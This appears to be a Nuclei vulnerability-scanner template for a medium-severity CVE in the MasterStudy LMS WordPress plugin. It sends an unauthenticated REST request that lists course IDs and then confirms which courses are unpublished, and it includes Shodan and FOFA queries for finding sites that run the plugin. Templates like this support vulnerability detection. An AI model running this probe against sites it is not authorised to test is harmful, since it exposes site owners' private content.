id: CVE-2026-81197 info: name: MasterStudy LMS < 3.7.46 - Unauthenticated Unpublished Course Disclosure author: maulanawirawan severity: medium description: | The MasterStudy LMS WordPress Plugin before 3.7.46 does not restrict access to a REST route that lists an author's courses, nor does it filter that listing by publication status, allowing unauthenticated users to read the titles and IDs of unpublished (draft, pending and private) courses. impact: | Unauthenticated attackers can enumerate the titles and IDs of unpublished courses of any author, disclosing content that is not yet or no longer publicly visible. remediation: | Update to version 3.7.46 or later. reference: - https://wpscan.com/vulnerability/8738320c-eb44-46b9-b809-b5cb786cb3e4/ - https://nvd.nist.gov/vuln/detail/CVE-2026-81197 classification: cve-id: CVE-2026-81197 cwe-id: CWE-200 cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N cvss-score: 5.3 epss-score: 0.00762 epss-percentile: 0.56287 metadata: verified: true max-request: 10 vendor: stylemix product: masterstudy-lms shodan-query: http.html:"/wp-content/plugins/masterstudy-lms-learning-management-system/" fofa-query: body="masterstudy-lms-learning-management-system" tags: cve,cve2026,wordpress,wp-plugin,masterstudy-lms,rest,disclosure,unauth flow: | http(1) let ids = template["course_ids"] || []; if (!Array.isArray(ids)) ids = [ids]; for (let id of ids.slice(0, 9)) { set("course_id", id); http(2); } http: - raw: - | GET /?rest_route=/lms/stm-lms-user/course-list&author_id=1 HTTP/1.1 Host: {{Hostname}} redirects: true max-redirects: 2 matchers: - type: dsl dsl: - 'status_code == 200' - 'contains(content_type, "application/json")' - 'contains_all(body, "\"id\"", "\"title\"")' condition: and internal: true extractors: - type: regex name: course_ids part: body internal: true group: 1 regex: - '"id"\s*:\s*"?(\d+)"?' - raw: - | GET /?p={{course_id}} HTTP/1.1 Host: {{Hostname}} matchers: - type: status status: - 404 # digest: 4a0a0047304502200cee587b96fc4a0f1ba94bc793fab3447c3d26629253b065b5869a2d3867d68602210081064473c48062f4b3f31e5696ccca87cc15429c84c22827b979ad7714ac865a:922c64590222798bb761d5b6d8e72950